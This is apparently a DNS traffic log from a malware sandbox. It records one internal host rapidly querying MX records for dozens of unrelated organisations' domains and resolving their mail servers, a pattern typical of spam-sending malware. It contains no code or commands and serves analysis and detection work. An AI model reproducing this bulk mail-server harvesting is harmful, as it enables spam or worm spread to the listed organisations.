Aug 24, 2023 19:03:54.002455950 CEST	8.8.8.8	192.168.2.8	0x48a1	No error (0)	sunlife.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.058047056 CEST	8.8.8.8	192.168.2.8	0xed22	No error (0)	mx2.hc463-99.ca.iphmx.com		216.71.131.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.058047056 CEST	8.8.8.8	192.168.2.8	0xed22	No error (0)	mx2.hc463-99.ca.iphmx.com		216.71.135.71	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.165857077 CEST	8.8.8.8	192.168.2.8	0xbe45	No error (0)	frontiernet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.165857077 CEST	8.8.8.8	192.168.2.8	0xbe45	No error (0)	frontiernet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.165857077 CEST	8.8.8.8	192.168.2.8	0xbe45	No error (0)	frontiernet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.165857077 CEST	8.8.8.8	192.168.2.8	0xbe45	No error (0)	frontiernet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.165857077 CEST	8.8.8.8	192.168.2.8	0xbe45	No error (0)	frontiernet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.196348906 CEST	8.8.8.8	192.168.2.8	0x431e	No error (0)	mx.dlls.pa.frontiernet.net		199.224.64.204	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.231023073 CEST	8.8.8.8	192.168.2.8	0xe67b	No error (0)	yourremaxteam.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.231023073 CEST	8.8.8.8	192.168.2.8	0xe67b	No error (0)	yourremaxteam.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.231023073 CEST	8.8.8.8	192.168.2.8	0xe67b	No error (0)	yourremaxteam.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.302943945 CEST	8.8.8.8	192.168.2.8	0xd738	Name error (3)	ftccomputers.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.397125959 CEST	8.8.8.8	192.168.2.8	0x9668	No error (0)	mx2c1.megamailservers.com		69.49.103.243	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.425673008 CEST	8.8.8.8	192.168.2.8	0x52a3	No error (0)	shilts.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.425673008 CEST	8.8.8.8	192.168.2.8	0x52a3	No error (0)	shilts.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.425673008 CEST	8.8.8.8	192.168.2.8	0x52a3	No error (0)	shilts.org			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.462030888 CEST	8.8.8.8	192.168.2.8	0x22c4	No error (0)	mailstore1.secureserver.net		92.204.80.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.587502003 CEST	8.8.8.8	192.168.2.8	0xece1	No error (0)	aon.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.623579979 CEST	8.8.8.8	192.168.2.8	0x8de7	No error (0)	aon-ca.mail.protection.outlook.com		104.47.57.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.623579979 CEST	8.8.8.8	192.168.2.8	0x8de7	No error (0)	aon-ca.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.772403002 CEST	8.8.8.8	192.168.2.8	0xcdc4	No error (0)	chibou.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.817866087 CEST	8.8.8.8	192.168.2.8	0xa822	No error (0)	qg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.817866087 CEST	8.8.8.8	192.168.2.8	0xa822	No error (0)	qg.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.820218086 CEST	8.8.8.8	192.168.2.8	0xceda	No error (0)	chibou-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.820218086 CEST	8.8.8.8	192.168.2.8	0xceda	No error (0)	chibou-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.844301939 CEST	8.8.8.8	192.168.2.8	0x8de2	No error (0)	mytime.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.844301939 CEST	8.8.8.8	192.168.2.8	0x8de2	No error (0)	mytime.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.844301939 CEST	8.8.8.8	192.168.2.8	0x8de2	No error (0)	mytime.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.844301939 CEST	8.8.8.8	192.168.2.8	0x8de2	No error (0)	mytime.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.844301939 CEST	8.8.8.8	192.168.2.8	0x8de2	No error (0)	mytime.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.902807951 CEST	8.8.8.8	192.168.2.8	0x48be	No error (0)	mx1.hc2756-44.iphmx.com		216.71.142.94	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.902807951 CEST	8.8.8.8	192.168.2.8	0x48be	No error (0)	mx1.hc2756-44.iphmx.com		216.71.147.99	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.010178089 CEST	8.8.8.8	192.168.2.8	0x183d	No error (0)	obsidianenergy-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.010178089 CEST	8.8.8.8	192.168.2.8	0x183d	No error (0)	obsidianenergy-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.041683912 CEST	8.8.8.8	192.168.2.8	0xe352	No error (0)	purdue.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.118148088 CEST	8.8.8.8	192.168.2.8	0xa0ab	No error (0)	creativegroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.118148088 CEST	8.8.8.8	192.168.2.8	0xa0ab	No error (0)	creativegroup.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.174516916 CEST	8.8.8.8	192.168.2.8	0x4ec8	No error (0)	xppmailspam04.itap.purdue.edu		128.210.5.15	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.306761026 CEST	8.8.8.8	192.168.2.8	0xd3b4	No error (0)	goldsgym.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.356935024 CEST	8.8.8.8	192.168.2.8	0x75f6	No error (0)	goldsgym-com.mail.protection.outlook.com		104.47.51.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.356935024 CEST	8.8.8.8	192.168.2.8	0x75f6	No error (0)	goldsgym-com.mail.protection.outlook.com		104.47.56.110	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.491729975 CEST	8.8.8.8	192.168.2.8	0x52a3	No error (0)	jpracu.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.491729975 CEST	8.8.8.8	192.168.2.8	0x52a3	No error (0)	jpracu.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.491729975 CEST	8.8.8.8	192.168.2.8	0x52a3	No error (0)	jpracu.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.491729975 CEST	8.8.8.8	192.168.2.8	0x52a3	No error (0)	jpracu.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.491729975 CEST	8.8.8.8	192.168.2.8	0x52a3	No error (0)	jpracu.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.616655111 CEST	8.8.8.8	192.168.2.8	0x7e4e	No error (0)	wescomm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.616655111 CEST	8.8.8.8	192.168.2.8	0x7e4e	No error (0)	wescomm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.616655111 CEST	8.8.8.8	192.168.2.8	0x7e4e	No error (0)	wescomm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.616655111 CEST	8.8.8.8	192.168.2.8	0x7e4e	No error (0)	wescomm.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.673156023 CEST	8.8.8.8	192.168.2.8	0x611b	No error (0)	zahroofvalves.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.673156023 CEST	8.8.8.8	192.168.2.8	0x611b	No error (0)	zahroofvalves.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.705182076 CEST	8.8.8.8	192.168.2.8	0x4cc6	No error (0)	d228656b.ess.barracudanetworks.com		209.222.82.253	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.705182076 CEST	8.8.8.8	192.168.2.8	0x4cc6	No error (0)	d228656b.ess.barracudanetworks.com		209.222.82.252	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.705182076 CEST	8.8.8.8	192.168.2.8	0x4cc6	No error (0)	d228656b.ess.barracudanetworks.com		209.222.82.255	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.706856966 CEST	8.8.8.8	192.168.2.8	0xccb6	No error (0)	mail.all-in-1.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.706856966 CEST	8.8.8.8	192.168.2.8	0xccb6	No error (0)	mail.all-in-1.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.779109001 CEST	8.8.8.8	192.168.2.8	0x596d	No error (0)	msn-com.olc.protection.outlook.com		104.47.1.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.779109001 CEST	8.8.8.8	192.168.2.8	0x596d	No error (0)	msn-com.olc.protection.outlook.com		104.47.2.33	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.894510031 CEST	8.8.8.8	192.168.2.8	0xdb31	No error (0)	mxb-0026fd02.gslb.pphosted.com		205.220.161.87	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.912607908 CEST	8.8.8.8	192.168.2.8	0x498a	No error (0)	mx3.ispservices.us		64.251.189.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.178113937 CEST	8.8.8.8	192.168.2.8	0xfd7c	Name error (3)	lits-global.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.411652088 CEST	8.8.8.8	192.168.2.8	0x2fba	No error (0)	3com.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.411652088 CEST	8.8.8.8	192.168.2.8	0x2fba	No error (0)	3com.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.440118074 CEST	8.8.8.8	192.168.2.8	0xe05c	No error (0)	hintonet.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.479223967 CEST	8.8.8.8	192.168.2.8	0x25e	No error (0)	optonline.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.486555099 CEST	8.8.8.8	192.168.2.8	0x7ca7	No error (0)	philips.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.545478106 CEST	8.8.8.8	192.168.2.8	0xb3e5	No error (0)	philips-com.mail.protection.outlook.com		52.101.73.12	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.545478106 CEST	8.8.8.8	192.168.2.8	0xb3e5	No error (0)	philips-com.mail.protection.outlook.com		52.101.68.32	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.545478106 CEST	8.8.8.8	192.168.2.8	0xb3e5	No error (0)	philips-com.mail.protection.outlook.com		52.101.68.18	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.545478106 CEST	8.8.8.8	192.168.2.8	0xb3e5	No error (0)	philips-com.mail.protection.outlook.com		52.101.73.2	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.545478106 CEST	8.8.8.8	192.168.2.8	0xb3e5	No error (0)	philips-com.mail.protection.outlook.com		52.101.73.8	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.545478106 CEST	8.8.8.8	192.168.2.8	0xb3e5	No error (0)	philips-com.mail.protection.outlook.com		52.101.68.5	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.545478106 CEST	8.8.8.8	192.168.2.8	0xb3e5	No error (0)	philips-com.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.545478106 CEST	8.8.8.8	192.168.2.8	0xb3e5	No error (0)	philips-com.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.554338932 CEST	8.8.8.8	192.168.2.8	0x555c	Name error (3)	mxa-00010e01.gslb.pphosted.com	none	none	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.596848965 CEST	8.8.8.8	192.168.2.8	0xe00c	No error (0)	hintonet-net.mx.av-mx.com		150.136.204.204	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.668437958 CEST	8.8.8.8	192.168.2.8	0x9a68	No error (0)	notarius.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.668437958 CEST	8.8.8.8	192.168.2.8	0x9a68	No error (0)	notarius.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.668437958 CEST	8.8.8.8	192.168.2.8	0x9a68	No error (0)	notarius.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.668437958 CEST	8.8.8.8	192.168.2.8	0x9a68	No error (0)	notarius.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.704807997 CEST	8.8.8.8	192.168.2.8	0xa4b1	No error (0)	mx-cluster-ca01.hornetsecurity.com		108.163.133.231	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.860757113 CEST	8.8.8.8	192.168.2.8	0x1719	No error (0)	paccar.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.915730000 CEST	8.8.8.8	192.168.2.8	0x104	No error (0)	solium.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.922319889 CEST	8.8.8.8	192.168.2.8	0x32f	No error (0)	paccar-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.922319889 CEST	8.8.8.8	192.168.2.8	0x32f	No error (0)	paccar-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.975918055 CEST	8.8.8.8	192.168.2.8	0x8317	No error (0)	solium-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.975918055 CEST	8.8.8.8	192.168.2.8	0x8317	No error (0)	solium-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.991550922 CEST	8.8.8.8	192.168.2.8	0x5396	No error (0)	td.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.991550922 CEST	8.8.8.8	192.168.2.8	0x5396	No error (0)	td.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.013927937 CEST	8.8.8.8	192.168.2.8	0xb77a	No error (0)	cluster5a.us.messagelabs.com		52.207.128.88	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.013927937 CEST	8.8.8.8	192.168.2.8	0xb77a	No error (0)	cluster5a.us.messagelabs.com		54.243.60.31	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.074083090 CEST	8.8.8.8	192.168.2.8	0x5e96	No error (0)	mississaugatoyota.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.074083090 CEST	8.8.8.8	192.168.2.8	0x5e96	No error (0)	mississaugatoyota.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.074083090 CEST	8.8.8.8	192.168.2.8	0x5e96	No error (0)	mississaugatoyota.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.074083090 CEST	8.8.8.8	192.168.2.8	0x5e96	No error (0)	mississaugatoyota.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.074083090 CEST	8.8.8.8	192.168.2.8	0x5e96	No error (0)	mississaugatoyota.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.074083090 CEST	8.8.8.8	192.168.2.8	0x5e96	No error (0)	mississaugatoyota.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.074083090 CEST	8.8.8.8	192.168.2.8	0x5e96	No error (0)	mississaugatoyota.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.095254898 CEST	8.8.8.8	192.168.2.8	0xdbbc	No error (0)	metrocast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.095254898 CEST	8.8.8.8	192.168.2.8	0xdbbc	No error (0)	metrocast.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.144946098 CEST	8.8.8.8	192.168.2.8	0xfd34	No error (0)	gmpsecurities.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.217688084 CEST	8.8.8.8	192.168.2.8	0x2b1b	No error (0)	mx01-fmc.echolabs.net		38.111.141.181	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.239742041 CEST	8.8.8.8	192.168.2.8	0x5126	No error (0)	fraserhealth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.239742041 CEST	8.8.8.8	192.168.2.8	0x5126	No error (0)	fraserhealth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.239742041 CEST	8.8.8.8	192.168.2.8	0x5126	No error (0)	fraserhealth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.239742041 CEST	8.8.8.8	192.168.2.8	0x5126	No error (0)	fraserhealth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.239742041 CEST	8.8.8.8	192.168.2.8	0x5126	No error (0)	fraserhealth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.239742041 CEST	8.8.8.8	192.168.2.8	0x5126	No error (0)	fraserhealth.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.271352053 CEST	8.8.8.8	192.168.2.8	0x489b	No error (0)	smtp.gslb.stifel.com		8.12.52.45	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.273845911 CEST	8.8.8.8	192.168.2.8	0xd2dd	No error (0)	mail3.phsa.ca		139.173.84.185	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.376547098 CEST	8.8.8.8	192.168.2.8	0xaa07	No error (0)	comporium.net			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.425138950 CEST	8.8.8.8	192.168.2.8	0xde47	No error (0)	fillmoreriley.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.474844933 CEST	8.8.8.8	192.168.2.8	0x8497	No error (0)	fillmoreriley-com.mail.eo.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.474844933 CEST	8.8.8.8	192.168.2.8	0x8497	No error (0)	fillmoreriley-com.mail.eo.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.567008018 CEST	8.8.8.8	192.168.2.8	0x759b	No error (0)	virginmedia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.567008018 CEST	8.8.8.8	192.168.2.8	0x759b	No error (0)	virginmedia.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.582813978 CEST	8.8.8.8	192.168.2.8	0x4779	No error (0)	mxin10.virginmedia.com		84.116.6.18	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.596340895 CEST	8.8.8.8	192.168.2.8	0xd18	Name error (3)	dklicsinfo.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.649995089 CEST	8.8.8.8	192.168.2.8	0x27c8	No error (0)	comporium-net.mx.av-mx.com		150.136.204.204	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.660377979 CEST	8.8.8.8	192.168.2.8	0x2e45	No error (0)	holtrenfrew.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.660377979 CEST	8.8.8.8	192.168.2.8	0x2e45	No error (0)	holtrenfrew.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.707151890 CEST	8.8.8.8	192.168.2.8	0xa14f	No error (0)	mx2.hc420-50.ca.iphmx.com		216.71.130.195	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.707151890 CEST	8.8.8.8	192.168.2.8	0xa14f	No error (0)	mx2.hc420-50.ca.iphmx.com		216.71.134.173	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.707151890 CEST	8.8.8.8	192.168.2.8	0xa14f	No error (0)	mx2.hc420-50.ca.iphmx.com		216.71.130.158	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.707151890 CEST	8.8.8.8	192.168.2.8	0xa14f	No error (0)	mx2.hc420-50.ca.iphmx.com		216.71.134.169	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.884890079 CEST	8.8.8.8	192.168.2.8	0xd9c1	No error (0)	vch.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.884890079 CEST	8.8.8.8	192.168.2.8	0xd9c1	No error (0)	vch.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.884890079 CEST	8.8.8.8	192.168.2.8	0xd9c1	No error (0)	vch.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.884890079 CEST	8.8.8.8	192.168.2.8	0xd9c1	No error (0)	vch.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.884890079 CEST	8.8.8.8	192.168.2.8	0xd9c1	No error (0)	vch.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.884890079 CEST	8.8.8.8	192.168.2.8	0xd9c1	No error (0)	vch.ca			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.895308971 CEST	8.8.8.8	192.168.2.8	0x3f92	No error (0)	coastms.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.034427881 CEST	8.8.8.8	192.168.2.8	0x4c79	No error (0)	coastms.com		192.185.170.194	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.120244026 CEST	8.8.8.8	192.168.2.8	0xb895	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.7	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.120244026 CEST	8.8.8.8	192.168.2.8	0xb895	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.120244026 CEST	8.8.8.8	192.168.2.8	0xb895	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.53.36	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.120244026 CEST	8.8.8.8	192.168.2.8	0xb895	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.5	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.120244026 CEST	8.8.8.8	192.168.2.8	0xb895	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.120244026 CEST	8.8.8.8	192.168.2.8	0xb895	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.120244026 CEST	8.8.8.8	192.168.2.8	0xb895	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.40.29	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.263463020 CEST	8.8.8.8	192.168.2.8	0x7b87	No error (0)	jdirving.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.263463020 CEST	8.8.8.8	192.168.2.8	0x7b87	No error (0)	jdirving.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.290251017 CEST	8.8.8.8	192.168.2.8	0x4623	No error (0)	minacs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.290251017 CEST	8.8.8.8	192.168.2.8	0x4623	No error (0)	minacs.com			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.318205118 CEST	8.8.8.8	192.168.2.8	0x71ba	No error (0)	mx2.hc117-76.ca.iphmx.com		216.71.133.57	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.318205118 CEST	8.8.8.8	192.168.2.8	0x71ba	No error (0)	mx2.hc117-76.ca.iphmx.com		216.71.129.174	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.318205118 CEST	8.8.8.8	192.168.2.8	0x71ba	No error (0)	mx2.hc117-76.ca.iphmx.com		216.71.129.173	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.318205118 CEST	8.8.8.8	192.168.2.8	0x71ba	No error (0)	mx2.hc117-76.ca.iphmx.com		216.71.133.58	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.432460070 CEST	8.8.8.8	192.168.2.8	0xce48	No error (0)	smtp.minacs.com		74.205.174.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.563246012 CEST	8.8.8.8	192.168.2.8	0xb19b	No error (0)	nvcc.edu			MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:58.609592915 CEST	8.8.8.8	192.168.2.8	0x8a2c	No error (0)	nvcc-edu.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.609592915 CEST	8.8.8.8	192.168.2.8	0x8a2c	No error (0)	nvcc-edu.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.609592915 CEST	8.8.8.8	192.168.2.8	0x8a2c	No error (0)	nvcc-edu.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.609592915 CEST	8.8.8.8	192.168.2.8	0x8a2c	No error (0)	nvcc-edu.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.609592915 CEST	8.8.8.8	192.168.2.8	0x8a2c	No error (0)	nvcc-edu.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.609592915 CEST	8.8.8.8	192.168.2.8	0x8a2c	No error (0)	nvcc-edu.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.609592915 CEST	8.8.8.8	192.168.2.8	0x8a2c	No error (0)	nvcc-edu.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.609592915 CEST	8.8.8.8	192.168.2.8	0x8a2c	No error (0)	nvcc-edu.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:58.807079077 CEST	8.8.8.8	192.168.2.8	0x7675	No error (0)	usask.ca			MX (Mail exchange)	IN (0x0001)	false
